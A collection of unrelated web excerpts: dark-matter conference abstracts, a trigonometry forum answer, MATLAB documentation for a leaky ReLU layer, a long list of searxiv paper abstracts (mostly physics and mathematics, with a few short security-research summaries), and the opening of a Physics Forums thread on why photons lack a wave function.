Dark Matter (DM) subhalo candidates among unassociated catalogued sources present in the most recent Fermi-LAT point-source catalogs (3FGL, 2FHL and 3FHL). These LCDM-predicted DM subhalos are promising candidates for gamma-ray emission from WIMP annihilation in the LAT energy band. Several selection criteria are applied, based on the expected properties of the DM-induced em ... More Presented by Mr. Javier CORONADO-BLÁZQUEZ on 30/8/2018 at 13:00 Type: Talk Session: Dark Matter Track: Dark Matter The EDELWEISS collaboration is performing a direct search for WIMP dark matter in the mass range from 1 to 20 GeV/c2 using cryogenic germanium detectors equipped with a full charge and thermal signal readout. We present the most recent results and the currently ongoing program to reduce the experimental thresholds in order to gain sensitivity for low mass WIMPs. This comprises utilizing the Negano ... More Presented by Dr. Klaus EITEL on 29/8/2018 at 14:15 Type: Talk Session: Dark Matter Track: Dark Matter I will demonstrate how current and future measurements of the global 21-cm signal could provide new constraints on models of p-wave annihilating dark matter (DM), over a broad range of DM masses. 21-cm observations are sensitive to the baryon temperature at the end of the cosmic dark ages, and are particularly well-suited to constrain p-wave models, because the energy injection rate from p-wave an ... More Presented by Gregory RIDGWAY on 31/8/2018 at 13:30 Building timetable...
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https://www.askiitians.com/forums/Trigonometry/find-the-value-of-2x-if-sin-x-cos-x-1_178223.htm
#### Thank you for registering. One of our academic counsellors will contact you within 1 working day. Click to Chat 1800-5470-145 +91 7353221155 CART 0 • 0 MY CART (5) Use Coupon: CART20 and get 20% off on all online Study Material ITEM DETAILS MRP DISCOUNT FINAL PRICE Total Price: Rs. There are no items in this cart. Continue Shopping # Find the value of 2x if sin x+ cos x=1 ,.............................. Arun 25763 Points 4 years ago if we square both the sides, we get sin^2x+ cos^2x + 2sinx cosx=1 1+ sin2x = 1 sin2x = 0 thus 2x will be n$\pi$ radian where n is any integer
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https://de.mathworks.com/help/deeplearning/ref/nnet.cnn.layer.leakyrelulayer.html
# leakyReluLayer Leaky Rectified Linear Unit (ReLU) layer ## Description A leaky ReLU layer performs a threshold operation, where any input value less than zero is multiplied by a fixed scalar. This operation is equivalent to: $f\left(x\right)=\left\{\begin{array}{ll}x,\hfill & x\ge 0\hfill \\ scale*x,\hfill & x<0\hfill \end{array}.$ ## Creation ### Description layer = leakyReluLayer returns a leaky ReLU layer. layer = leakyReluLayer(scale) returns a leaky ReLU layer with a scalar multiplier for negative inputs equal to scale. example layer = leakyReluLayer(___,'Name',Name) returns a leaky ReLU layer and sets the optional Name property. ## Properties expand all ### Leaky ReLU Scalar multiplier for negative input values, specified as a numeric scalar. Example: 0.4 ### Layer Layer name, specified as a character vector or a string scalar. To include a layer in a layer graph, you must specify a nonempty, unique layer name. If you train a series network with the layer and Name is set to '', then the software automatically assigns a name to the layer at training time. Data Types: char | string Number of inputs of the layer. This layer accepts a single input only. Data Types: double Input names of the layer. This layer accepts a single input only. Data Types: cell Number of outputs of the layer. This layer has a single output only. Data Types: double Output names of the layer. This layer has a single output only. Data Types: cell ## Examples collapse all Create a leaky ReLU layer with the name 'leaky1' and a scalar multiplier for negative inputs equal to 0.1. layer = leakyReluLayer(0.1,'Name','leaky1') layer = LeakyReLULayer with properties: Name: 'leaky1' Hyperparameters Scale: 0.1000 Include a leaky ReLU layer in a Layer array. layers = [ imageInputLayer([28 28 1]) convolution2dLayer(3,16) batchNormalizationLayer leakyReluLayer maxPooling2dLayer(2,'Stride',2) convolution2dLayer(3,32) batchNormalizationLayer leakyReluLayer fullyConnectedLayer(10) softmaxLayer classificationLayer] layers = 11x1 Layer array with layers: 1 '' Image Input 28x28x1 images with 'zerocenter' normalization 2 '' Convolution 16 3x3 convolutions with stride [1 1] and padding [0 0 0 0] 3 '' Batch Normalization Batch normalization 4 '' Leaky ReLU Leaky ReLU with scale 0.01 5 '' Max Pooling 2x2 max pooling with stride [2 2] and padding [0 0 0 0] 6 '' Convolution 32 3x3 convolutions with stride [1 1] and padding [0 0 0 0] 7 '' Batch Normalization Batch normalization 8 '' Leaky ReLU Leaky ReLU with scale 0.01 9 '' Fully Connected 10 fully connected layer 10 '' Softmax softmax 11 '' Classification Output crossentropyex ## References [1] Maas, Andrew L., Awni Y. Hannun, and Andrew Y. Ng. "Rectifier nonlinearities improve neural network acoustic models." In Proc. ICML, vol. 30, no. 1. 2013. ## Extended Capabilities ### GPU Code GenerationGenerate CUDA® code for NVIDIA® GPUs using GPU Coder™. Introduced in R2017b
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https://searxiv.org/search?author=Piotr%20Gierlowski
### Results for "Piotr Gierlowski" total 3154took 0.14s In-plane field-induced vortex liquid correlations in underdoped Bi_2Sr_2CaCu_2O_8+δJul 24 2006Jun 25 2007The effect of a magnetic field component parallel to the superconducting layers on longitudinal Josephson plasma oscillations in the layered high temperature superconductor Bi$_2$Sr$_2$CaCu$_2$O$_{8+\delta}$ is shown to depend on the thermodynamic state ... More Vortex liquid correlations induced by in-plane field in underdoped Bi2Sr2CaCu2O8+dJul 27 2006By measuring the Josephson Plasma Resonance, we have probed the influence of an in-plane magnetic field on the pancake vortex correlations along the c-axis in heavily underdoped Bi2Sr2CaCu2O8+d (Tc = 72.4 +/- 0.6 K) single crystals both in the vortex ... More Submillimeter - sized proximity effect in graphite and bismuthFeb 08 2019In this work, we probe the electrical properties of macroscopic graphite and bismuth in which the electrical current is injected via superconducting electrodes, few millimeters apart from each other. Results reveal the induction of a partial superconducting-like ... More Nature of c-axis coupling in underdoped Bi2Sr2CaCu2O8 with varying degrees of disorderJan 07 2008The dependence of the Josephson Plasma Resonance (JPR) frequency in heavily underdoped Bi2Sr2CaCu2O8+\delta on temperature and controlled pointlike disorder, introduced by high-energy electron irradiation, is cross-correlated and compared to the behavior ... More Electron irradiation of Co, Ni, and P-doped BaFe2As2 - type iron-based superconductorsSep 17 2012Nov 14 2012High energy electron irradiation is used to controllably introduce atomic-scale point defects into single crystalline Ba(Fe_1-xCo_x)_2As_2, Ba(Fe_1-xNi_x)_2As_2, and BaFe_2(As_1-xP_x)_2. The appearance of the collective pinning contribution to the critical ... More Maxwell-like picture of General Relativity and its Planck limitJan 13 2013Nov 29 2013We show that Geroch decomposition leads us to Maxwell-like representation of gravity in $(3+1)$ metrics decomposition that may be perceived as Lorentz invariant version of GEM. For such decomposition we derive four-potential $V^\mu$ and gravitational ... More On non-autonomously forced Burgers equation with periodic and Dirichlet boundary conditionsMay 24 2018Jan 10 2019We study the non-autonomously forced Burgers equation $$u_t(x,t) + u(x,t)u_x(x,t) - u_{xx}(x,t) = f(x,t)$$ on the space interval $(0,1)$ with two sets of the boundary conditions: the Dirichlet and periodic ones. For both situations we prove that there ... More Hyperbolic geometry for non-differential topologistsJan 22 2018A soft presentation of hyperbolic spaces, free of differential apparatus, is offered. Fifth Euclid's postulate in such spaces is overthrown and, among other things, it is proved that spheres (equipped with great-circle distances) and hyperbolic and Euclidean ... More In medium T matrix with realistic nuclear interactionsDec 06 2002We calculate the self-consistent in-medium T matrix for symmetric nuclear matter using realistic interactions with many partial waves. We find for the interactions used (CDBonn and Nijmegen) very similar results for on-shell quantities. The effective ... More Approximating the MaxCover Problem with Bounded Frequencies in FPT TimeSep 17 2013We study approximation algorithms for several variants of the MaxCover problem, with the focus on algorithms that run in FPT time. In the MaxCover problem we are given a set N of elements, a family S of subsets of N, and an integer K. The goal is to find ... More Approximate nearest neighbors search without false negatives for $l_2$ for $c>\sqrt{\log\log{n}}$Aug 21 2017Sep 13 2017In this paper, we report progress on answering the open problem presented by Pagh~[14], who considered the nearest neighbor search without false negatives for the Hamming distance. We show new data structures for solving the $c$-approximate nearest neighbors ... More Gravity as field - field oriented framework reproducing General RelativityApr 13 2014Sep 21 2015In the last article we have created foundations for gravitational field oriented framework (DaF) that reproduces GR. In this article we show, that using DaF approach, we can reproduce Schwarzschild solution with orbit equations, effective potential and ... More A note on symmetries in the path integral formulation of the Langevin dynamicsMar 23 2017Dec 30 2018We study a dissipative Langevin dynamics in the path integral formulation using the Martin-Siggia-Rose formalism. The effective action is supersymmetric and we identify the supercharges. In addition we study the transformations generated by superderivatives, ... More Nonuniform BriberyNov 30 2007We study the concept of bribery in the situation where voters are willing to change their votes as we ask them, but where their prices depend on the nature of the change we request. Our model is an extension of the one of Faliszewski et al. [FHH06], where ... More Equivariant self-similar wave maps from Minkowski spacetime into 3-sphereOct 17 1999May 25 2000We prove existence of a countable family of spherically symmetric self-similar wave maps from 3+1 Minkowski spacetime into the 3-sphere. These maps can be viewed as excitations of the ground state wave map found previously by Shatah. The first excitation ... More Pseudoscalar Meson Temporal Correlation Function in HTL approachAug 11 2006The temporal pseudoscalar meson correlation function in a QCD plasma is investigated in a range of temperatures exceeding $T_c$ and first time for a finite momenta which is of the experimental interest. The imaginary time formalism is employed for the ... More Event-by-event viscous hydrodynamics for Cu-Au collisions at 200GeVAug 09 2012Sep 24 2012Event-by-event hydrodynamics is applied to Cu-Au collisions at 200GeV. Predictions for charged particle distributions in pseudorapidity, transverse momentum spectra, femtoscopy radii are given. The triangular and elliptic flow coefficients are calculated. ... More Bulk and shear viscosities of matter created in relativistic heavy-ion collisionsNov 12 2009Mar 08 2010We study the effects of the shear and bulk viscosities in the hadronic phase on the expansion of the fireball and on the particle production in relativistic heavy ion collisions. Comparing simulation with or without viscosity in the hadronic matter we ... More Early dissipation and viscosityApr 24 2008We consider dissipative phenomena due to the relaxation of an initial anisotropic local pressure in the fireball created in relativistic heavy-ion collisions, both for the Bjorken boost-invariant case and for the azimuthally symmetric radial expansion ... More Levy flights, dynamical duality and fractional quantum mechanicsNov 24 2008Mar 21 2009We discuss dual time evolution scenarios which, albeit running according to the same real time clock, in each considered case may be mapped among each other by means of an analytic continuation in time. This dynamical duality is a generic feature of diffusion-type ... More Modular Schrödinger equation and dynamical dualityMay 11 2008Aug 08 2008We discuss quite surprising properties of the one-parameter family of modular (Auberson and Sabatier (1994)) nonlinear Schr\"{o}dinger equations. We develop a unified theoretical framework for this family. Special attention is paid to the emergent \it ... More Comment on "Time-dependent entropy of simple quantum model systems"Sep 30 2005In the above mentioned paper by J. Dunkel and S. A. Trigger [Phys. Rev. {\bf A 71}, 052102, (2005)] a hypothesis has been pursued that the loss of information associated with the quantum evolution of pure states, quantified in terms of an increase in ... More Simulation of complete many-body quantum dynamics using controlled quantum-semiclassical hybridsMar 06 2009Sep 25 2009A controlled hybridization between full quantum dynamics and semiclassical approaches (mean-field and truncated Wigner) is implemented for interacting many-boson systems. It is then demonstrated how simulating the resulting hybrid evolution equations ... More First-principles quantum simulations of many-mode open interacting Bose gases using stochastic gauge methodsJul 01 2005Many-mode interacting Bose gases (1D,2D,3D) are simulated from first principles. The model uses a second-quantized Hamiltonian with two-particle interactions (possibly ranged), external potential, and interactions with an environment, with no further ... More Low-energy amplitudes in the non-local chiral quark modelNov 11 2009Jan 19 2010We apply chiral quark model with momentum dependent quark mass to two kinds of non-perturbative objects. These are: photon Distribution Amplitudes which we calculate up to twist-4 in tensor, vector and axial channels and pion-photon Transition Distribution ... More In-medium ion mass renormalization and lattice vibrations in the neutron star crustDec 30 2003The inner crust of a neutron star consists of nuclei immersed in a superfluid neutron liquid. As these nuclei move through the fermionic medium they bring it into motion as well. As a result their mass is strongly renormalized and the spectrum of the ... More Deuterium depletion and magnesium enhancement in the local discJul 19 2005Oct 12 2005The local disc deuter is known to be depleted in comparison to the local bubble. We show, that the same lines of sight that are depleted in deuter, are enhanced in magnesium. Heavier elements - Si and Fe do not show any difference in the abundance between ... More Some topological invariants and biorthogonal systems in Banach spacesSep 19 2012We consider topological invariants on compact spaces related to the sizes of discrete subspaces (spread), densities of subspaces, Lindelof degree of subspaces, irredundant families of clopen sets and others and look at the following associations between ... More Homotopy Decompositions of Looped Stiefel manifolds, and their ExponentsFeb 20 2010Let $p$ be an odd prime, and fix integers $m$ and $n$ such that $0<m<n\leq (p-1)(p-2)$. We give a $p$-local homotopy decomposition for the loop space of the complex Stiefel manifold $W_{n,m}$. Similar decompositions are given for the loop space of the ... More Evading network-level emulationJun 10 2009Recently more and more attention has been paid to the intrusion detection systems (IDS) which don't rely on signature based detection approach. Such solutions try to increase their defense level by using heuristics detection methods like network-level ... More Dynamic Data Flow Analysis via Virtual Code Integration (aka The SpiderPig case)Jun 03 2009Paper addresses the process of dynamic data flow analysis using virtual code integration (VCI), often refered to as dynamic binary rewriting. This article will try to demonstrate all of the techniques that were applied in the SpiderPig project. It will ... More Clump Distance to the Magellanic Clouds and Anomalous Colors in the Galactic BulgeOct 11 1999Nov 13 1999I demonstrate that the two unexpected results in the local Universe: 1) anomalous intrinsic (V-I)_0 colors of the clump giants and RR Lyrae stars in the Galactic center, and 2) very short distances to the Magellanic Clouds (LMC, SMC) as inferred from ... More A Complexity of double dummy bridgeSep 23 2013This paper presents an analysis of complexity of double dummy bridge. Values of both, a state-space (search-space) complexity and a game tree complexity have been estimated. ----- Oszacowanie z{\l}o\.zono\'sci problemu rozgrywki w otwarte karty w bryd\.zu ... More Femtoscopy analysis of d-Au interactions at $\sqrt{s}=200$GeVAug 06 2014The femtoscopy correlation radii for d-Au collisions at $200$GeV are calculated in the hydrodynamic model and compared to PHENIX collaboration data. For asymmetric systems, such as d-Au or p-Pb collisions, the correlation radius $R_{out-long}$ is estimated ... More Wilson lines and gauge invariant off-shell amplitudesMar 19 2014Apr 24 2014We study matrix elements of Fourier-transformed straight infinite Wilson lines as a way to calculate gauge invariant tree-level amplitudes with off-shell gluons. The off-shell gluons are assigned "polarization vectors" which (in the Feynman gauge) are ... More Arcs intersecting at most onceFeb 07 2014Aug 26 2014We prove that on a punctured oriented surface with Euler characteristic chi < 0, the maximal cardinality of a set of essential simple arcs that are pairwise non-homotopic and intersecting at most once is 2|chi|(|chi|+1). This gives a cubic estimate in ... More On one-loop corrections to matching conditions of Lattice HQET including 1/m_b termsDec 09 2013HQET is an effective theory for QCD with N_f light quarks and a massive valence quark if the mass of the latter is much bigger than Lambda_QCD. As any effective theory, HQET is predictive only when a set of parameters has been determined through a process ... More Top degree of Jack characters and enumeration of mapsJun 21 2015Mar 16 2016Jack characters are (suitably normalized) coefficients in the expansion of Jack symmetric functions in the basis of power-sum symmetric functions. These quantities have been introduced recently by Lassalle who formulated some challenging conjectures about ... More Wild binary segmentation for multiple change-point detectionNov 04 2014We propose a new technique, called wild binary segmentation (WBS), for consistent estimation of the number and locations of multiple change-points in data. We assume that the number of change-points can increase to infinity with the sample size. Due to ... More Combining Fuzzy Cognitive Maps and Discrete Random VariablesDec 29 2015In this paper we propose an extension to the Fuzzy Cognitive Maps (FCMs) that aims at aggregating a number of reasoning tasks into a one parallel run. The described approach consists in replacing real-valued activation levels of concepts (and further ... More Connecting orbits for nonlinear differential equations at resonanceMay 01 2015Nov 02 2015We study the existence of orbits connecting stationary points for the first order differential equations being at resonance at infinity, where the right hand side is the perturbations of a sectorial operator. Our aim is to prove an index formula expressing ... More The CLS 2+1 flavor simulationsDec 31 2014We report on the status of large volume simulations with 2+1 dynamical fermions which are being performed by the CLS initiative. The algorithmic details include: open boundary conditions, twisted mass reweighting and RHMC, whereas the main feature of ... More Weak consistency of modified versions of Bayesian Information Criterion in a sparse linear regression with non-normal error termNov 15 2014We consider a sparse linear regression model, when the number of available predictors $p$ is much bigger than the sample size $n$ and the number of non-zero coefficients $p_0$ is small. To choose the regression model in this situation, we cannot use classical ... More A tractable prescription for large-scale free flight expansion of wavefunctionsFeb 10 2016Mar 06 2016A numerical recipe is given for obtaining the density image of an initially compact quantum mechanical wavefunction that has expanded by a large but finite factor under free flight. The recipe given avoids the memory storage problems that plague this ... More Generic identities for finite group actionsApr 16 2019Apr 24 2019Let $G$ be a finite group of order $n$, and $Z_G=\mathbb{Z}\langle\zeta_{i,g}\mid g\in G,\ i=1,2,\dots,n\rangle$ be the free generic algebra, with canonical action of $G$ according to $(\zeta_{i,g})^x=\zeta_{i,x^{-1}g}$. It is proved that there exists ... More Some properties of the moment estimator of shape parameter for the gamma distributionAug 17 2011Exact distribution of the moment estimator of shape parameter for the gamma distribution for small samples is derived. Order preserving properties of this estimator are presented. Occupation time fluctuation limits of infinite variance equilibrium branching systemsFeb 01 2008We establish limit theorems for the fluctuations of the rescaled occupation time of a $(d,\alpha,\beta)$-branching particle system. It consists of particles moving according to a symmetric $\alpha$-stable motion in $\mathbb{R}^d$. The branching law is ... More Irreducible Jacobian derivations in positive characteristicJun 20 2013We prove that an irreducible polynomial derivation in positive characteristic is a Jacobian derivation if and only if there exists an n-1-element p-basis of its ring of constants. In the case of two variables we characterize these derivations in terms ... More A characterization of p-bases of rings of constantsJun 15 2012We obtain two equivalent conditions for m polynomials in n variables to form a p-basis of a ring of constants of some polynomial K-derivation, where K is a UFD of characteristic p>0. One of these conditions involves jacobians, and the second - some properties ... More Central points and measures and dense subsets of compact metric spacesMay 28 2011For every nonempty compact convex subset $K$ of a normed linear space a (unique) point $c_K \in K$, called the generalized Chebyshev center, is distinguished. It is shown that $c_K$ is a common fixed point for the isometry group of the metric space $K$. ... More Applications of semi-definite optimization in quantum information protocolsOct 11 2018This work is concerned with the issue of applications of the semi-definite programming (SDP) in the field of quantum information science. Our results of the analysis of certain quantum information protocols using this optimization technique are presented, ... More Quarks, Hadrons, and Emergent SpacetimeSep 12 2018It is argued that important information on the emergence of space is hidden at the quark/hadron level. The arguments follow from the acceptance of the conception that space is an attribute of matter. They involve in particular the discussion of possibly ... More Total integrals of solutions for the Painlevé II equation and singularity formation in the vortex patch dynamicsAug 27 2018Jan 16 2019In this paper, we establish a formula determining the value of the Cauchy integrals of the real and purely imaginary Ablowitz-Segur solutions for the inhomogeneous second Painlev\'e equation. Our approach relies on the Deift-Zhou steepest descent analysis ... More Synthetic spectra and the cellular motivic categoryMar 05 2018To any Adams-type homology theory we associate a notion of a synthetic spectrum, this is a spherical sheaf on the site of finite spectra with projective $E$-homology. We show that the $\infty$-category $\mathcal{S}yn_{E}$ of synthetic spectra based on ... More Principal component analysis of the nonlinear coupling of harmonic modes in heavy-ion collisionsNov 21 2017The principal component analysis of flow correlations in heavy-ion collisions is studied. The correlation matrix of harmonic flow is generalized to correlations involving several different flow vectors. The method can be applied to study the nonlinear ... More Information Based Method for Approximate Solving Stochastic Control ProblemsApr 12 2019An information based method for solving stochastic control problems with partial observation has been proposed. First, the information-theoretic lower bounds of the cost function has been analysed. It has been shown, under rather weak assumptions, that ... More On three dimensional conformally flat almost cosymplectic manifoldsOct 04 2007In the paper there are described new examples of conformally flat three dimensional almost cosymplectic manifolds. All these manifolds form a class which was completely characterized. The orbifold Langer-Miyaoka-Yau inequality and Hirzebruch-type inequalitiesDec 15 2016Mar 29 2017Using Langer's variation on the Bogomolov-Miyaoka-Yau inequality \cite[Theorem 0.1]{Langer} we provide some Hirzebruch-type inequalities for curve arrangements in the complex projective plane. Hirzebruch-type inequalities and plane curve configurationsOct 17 2016Jan 20 2017In this paper we come back to a problem proposed by F. Hirzebruch in the 1980's, namely whether there exists a configuration of smooth conics in the complex projective plane such that the associated desingularization of the Kummer extension is a ball ... More Functor of continuation in Hilbert cube and Hilbert spaceJul 07 2011A $Z$-set in a metric space $X$ is a closed subset $K$ of $X$ such that each map of the Hilbert cube $Q$ into $X$ can uniformly be approximated by maps of $Q$ into $X \setminus K$. The aim of the paper is to show that there exists a functor of extension ... More Norm closures of orbits of bounded operatorsJul 07 2011To every bounded linear operator $A$ between Hilbert spaces $\mathcal{H}$ and $\mathcal{K}$ three cardinals $\iota_r(A)$, $\iota_i(A)$ and $\iota_f(A)$ and a binary number $\iota_b(A)$ are assigned in terms of which the descriptions of the norm closures ... More Minimal generating sets of directed oriented Reidemeister movesJan 04 2016Sep 13 2016Polyak proved that the set $\{\Omega1a,\Omega1b,\Omega2a,\Omega3a\}$ is a minimal generating set of oriented Reidemeister moves. One may distinguish between forward and backward moves, obtaining $32$ different types of moves, which we call directed oriented ... More A mathematical model of the Mafia gameSep 06 2010Mar 12 2013Mafia (also called Werewolf) is a party game. The participants are divided into two competing groups: citizens and a mafia. The objective is to eliminate the opponent group. The game consists of two consecutive phases (day and night) and a certain set ... More A note on ANR'sJul 07 2011Sep 24 2011It is shown that if for a complete metric space $(X,d)$ there is a constant $\epsilon > 0$ such that the intersection $\bigcap_{j=1}^n B_d(x_j,r_j)$ of open balls is nonempty for every finite system $x_1,...,x_n \in X$ of centers and a corresponding system ... More Quadratic bosonic and free white noisesMar 20 2003We discuss the meaning of renormalization used for deriving quadratic bosonic commutation relations introduced by Accardi and find a representation of these relations on an interacting Fock space. Also, we investigate classical stochastic processes which ... More Generalized Cauchy identities, trees and multidimensional Brownian motions. Part I: bijective proof of generalized Cauchy identitiesDec 02 2004Jun 13 2006In this series of articles we study connections between combinatorics of multidimensional generalizations of Cauchy identity and continuous objects such as multidimensional Brownian motions and Brownian bridges. In Part I of the series we present a bijective ... More Pseudoquotient extensions of measure spacesMay 30 2018A space of pseudoquotients $\mathcal P (X,S)$ is defined as equivalence classes of pairs $(x,f)$, where $x$ is an element of a non-empty set $X$, $f$ is an element of $S$, a commutative semigroup of injective maps from $X$ to $X$, and $(x,f) \sim (y,g)$ ... More Asymptotics of characters of symmetric groups, genus expansion and free probabilityNov 30 2004Oct 21 2005The convolution of indicators of two conjugacy classes on the symmetric group S_q is usually a complicated linear combination of indicators of many conjugacy classes. Similarly, a product of the moments of the Jucys--Murphy element involves many conjugacy ... More Multinomial identities arising from the free probability theoryFeb 08 2002Feb 24 2003We prove a family of new identities fulfilled by multinomial coefficients, which were conjectured by Dykema and Haagerup. Our method bases on a study of the, so-called, triangular operator T by the means of the free probability theory. Short and biased introduction to groupoidsNov 15 2013The algebraic part of approach to groupoids started by S. Zakrzewski is presented. Models for subhomogeneous C*-algebrasOct 21 2013A new category of topological spaces with additional structures, called m-towers, is introduced. It is shown that there is a covariant functor which establishes a one-to-one correspondences between unital (resp. arbitrary) subhomogeneous C*-algebras and ... More Effect of resonance on the existence of periodic solutions for strongly damped wave equationOct 25 2013Oct 30 2015We are interested in the differential equation $\ddot u(t) = -A u(t) - c A \dot u(t) + \lambda u(t) + F(t,u(t))$, where $c > 0$ is a damping factor, $A$ is a sectorial operator and $F$ is a continuous map. We consider the situation where the equation ... More Blowup versus global in time existence of solutions for nonlinear heat equationsMay 10 2017May 18 2017This note is devoted to a simple proof of blowup of solutions for a nonlinear heat equation. The criterion for a blowup is expressed in terms of a Morrey space norm and is in a sense complementary to conditions guaranteeing the global in time existence ... More A remark on the dimension of the Bergman space of some Hartogs domainsApr 08 2009Let D be a Hartogs domain of the form D={(z,w) \in CxC^N : |w| < e^{-u(z)}} where u is a subharmonic function on C. We prove that the Bergman space of holomorphic and square integrable functions on D is either trivial or infinite dimensional. Positivity of Thom polynomials and Schubert calculusApr 09 2013Oct 08 2016We describe the positivity of Thom polynomials of singularities of maps, Lagrangian Thom polynomials and Legendrian Thom polynomials. We show that these positivities come from Schubert calculus. Hausdorff dimension of elliptic functions with critical values approaching infinityMay 05 2011May 06 2011We consider the escaping parameters in the family $\beta\wp_\Lambda$, i.e. these parameters for which the orbits of critical values of $\beta\wp_\Lambda$ approach infinity, where $\wp_\Lambda$ is the Weierstrass function. Unlike to the exponential map ... More A note on generalization of Zermelo navigation problem on Riemannian manifolds with strong perturbationJun 03 2016We generalize the Zermelo navigation problem and its solution on Riemannian manifolds $(M, h)$ admitting a space dependence of a ship's speed $0<|u(x)|_h\leq1$ in the presence of a perturbation $\tilde{W}$ determined by a strong velocity vector field ... More Locally ordered topological spacesJun 26 2019While topology given by a linear order has been extensively studied, this cannot be said about the case when the order is given only locally. Our aim in this paper is to fill this gap. We consider relation between local orderability and separation axioms ... More Transport of the light polarization in the weak gravitational wave backgroundFeb 07 2018The influence of the weak gravitational wave on the light polarization is considered. Oscillations in the direction of the polarization vector is found. Note on classical notion of Lee formOct 29 2014This note is devoted to partial study of recurrent equation $d\omega=\beta \wedge \omega$, based on linear algebra of exterior forms. Such equation was considered by Lee, for non-degenerate 2-form. In this note we approach general case, when $\omega$ ... More Rank of Jacobi operator and existence of quadratic parallel differential form, with applications to geometry of almost para-contact metric manifoldsJun 14 2018Oct 12 2018It is established that the existence of non-isotropic vector field which Jacobi operator of maximal rank is an obstacle for the existence of non-trivial second-order symmetric parallel tensor field. In turns out that presence of such obstacle follows ... More On a class of immersions between almost para-Hermitian manifoldsOct 03 2017Oct 26 2017Almost para-Hermitian manifold it is manifold equipped with almost para-complex structure and compatible pseudo-metric of neutral signature. It is considered a class of immersions of almost para-Hermitian manifolds into almost para-Hermitian manifolds. ... More Functional calculus for diagonalizable matricesNov 30 2012For an arbitrary function f:\Omega \rightarrow C (where \Omega is a subset of the field C) and a positive integer k let f act on all diagonalizable complex matrices whose all eigenvalues lie in Omega in the following way: f[P Diag(z1,...,zk) P-1] = P ... More Combinatorics of asymptotic representation theoryMar 29 2012The representation theory of the symmetric groups S_n is intimately related to combinatorics: combinatorial objects such as Young tableaux and combinatorial algorithms such as Murnaghan-Nakayama rule. In the limit as n tends to infinity, the structure ... More Local $C^r$-right equivalence of $C^{r+1}$ functionsJun 08 2015Jun 21 2015Let $f,g:(\mathbb{R}^n,0)\rightarrow (\mathbb{R},0)$ be $C^{r+1}$ functions, $r\in \mathbb{N}$. We will show that if $\nabla f(0)=0$ and there exist a neigbourhood $U$ of $0\in \mathbb{R}^n$ and a constant $C>0$ such that \left|\partial^m(g-f)(x)\right|\leq ... More The Hopf type theorem for equivariant gradient local mapsOct 01 2015Feb 23 2016We construct a degree-type otopy invariant for equivariant gradient local maps in the case of a real finite dimensional orthogonal representation of a compact Lie group. We prove that the invariant establishes a bijection between the set of equivariant ... More Securing The Kernel via Static Binary Rewriting and Program ShepherdingMay 10 2011Recent Microsoft security bulletins show that kernel vulnerabilities are becoming more and more important security threats. Despite the pretty extensive security mitigations many of the kernel vulnerabilities are still exploitable. Successful kernel exploitation ... More JIT Spraying and MitigationsSep 06 2010With the discovery of new exploit techniques, novel protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a significantly more difficult environment for exploitation. ... More Security Mitigations for Return-Oriented Programming AttacksAug 24 2010With the discovery of new exploit techniques, new protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a significantly more difficult environment for vulnerability ... More Generic Unpacking of Self-modifying, Aggressive, Packed Binary ProgramsMay 28 2009Nowadays most of the malware applications are either packed or protected. This techniques are applied especially to evade signature based detectors and also to complicate the job of reverse engineers or security analysts. The time one must spend on unpacking ... More Low Microlensing Optical Depth Toward the Galactic BarMay 03 2002I make a new evaluation of the microlensing optical depth toward the Galactic bar from Difference Image Analysis (DIA) of the MACHO Collaboration. First, I present supplementary evidence that MACHO field 104 located at (l,b) = (3.11,-3.01) is anomalous ... More Structure coefficients for Jack characters: approximate factorization propertyMar 14 2016Jack characters are a generalization of the characters of the symmetric groups; a generalization that is related to Jack symmetric functions. We investigate the structure coefficients for Jack characters; they are a generalization of the connection coefficients ... More Tropical AmplitudesSep 13 2013In this work, we argue that the point-like limit $\alpha'\to 0$ of closed string theory scattering amplitudes is a tropical limit. This constitutes an attempt to explain in a systematic way how Feynman graphs are obtained from string theory amplitudes. ... More Information Geometry of Hydrodynamics with Global AnomaliesJul 03 2015Oct 16 2015We construct information geometry for hydrodynamics with global gauge and gravitational anomalies in $1+1$ and $3+1$ dimensions. We introduce the metric on a parameter space and show that turning on non-zero rotations leads to a curvature on the statistical ... More Model-driven engineering approach to design and implementation of robot control systemFeb 20 2013In this paper we apply a model-driven engineering approach to designing domain-specific solutions for robot control system development. We present a case study of the complete process, including identification of the domain meta-model, graphical notation ... More Harbourne constants and arrangements of lines on smooth hypersurfaces in $\mathbb{P}^3_{\mathbb{C}}$May 14 2015Aug 20 2015In this note we find a bound for the so-called global linear Harbourne constants for smooth hypersurfaces in $\mathbb{P}^{3}_{\mathbb{C}}$ Rank Function Equations and their solution setsAug 02 2013We examine so-called rank function equations and their solutions consisting of non-nilpotent matrices. Secondly, we present some geometrical properties of the set of solutions to certain rank function equations in the nilpotent case. Fixing the parameters of Lattice HQET including 1/m_B termsJul 18 2013The study of the CKM matrix elements with increasing precision requires a reliable evaluation of hadronic matrix elements of axial and vector currents which can be done with Lattice QCD. The tiniest entry, |V_{ub}|, can be estimated independently from ... More Electric dipole transitions in pNRQCDJan 07 2013We present a theroretical treatment of electric dipole (E1) transitions of heavy quarkonia based on effective field theories. Within the framework of potential nonrelativistic QCD (pNRQCD) we derive the complete set of relativistic corrections at relative ... More On dualizable objects in monoidal bicategories, framed surfaces and the Cobordism HypothesisNov 25 2014We prove coherence theorems for dualizable objects in monoidal bicategories and for fully dualizable objects in symmetric monoidal bicategories, describing coherent dual pairs and coherent fully dual pairs. These are property-like structures one can attach ... More
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https://www.physicsforums.com/threads/why-photon-wave-function-does-not-exist.659614/
# Why photon wave function does not exist? 1. Dec 18, 2012 ### exponent137 I hear some reasons that photon exist in 4D space-time, wave function not and so on. But, an electron can be described with de Broglie waving and we can use wave function to describe electron. Frequency of the wave function is the same as energy/\hbar and k of wave function is the same as that of de Broglie k. But why this is not appropriate for the photon. Maybe because photon does not have rest energy? What is connection between wave function and de Broglie waving is described in http://iopscience.iop.org/0031-9120/43/4/013 2. Dec 18, 2012 ### vanhees71 Well, that's a very subtle question. For the photon the facts are simple to state: As a massless particle with spin 1 there doesn't exist a position operator. That's nicely summarized in Arnold Neumaiers theoretical-physics FAQ http://www.mat.univie.ac.at/~neum/physfaq/topics/position.html For massive particles you can always switch to a non-relativistic description, valid for "slow" particles, which for bound states also includes the assumption of binding energies small compared to the masses of the involved particles. In this case often a physically sensible description in terms of single-particle wave functions is possible. This also holds true considering relativistic corrections in such cases, e.g., using the Dirac equation to describe an electron moving in a fixed Coulomb potential of a heavy nucleus. Generally, in the fully relativistic realm a 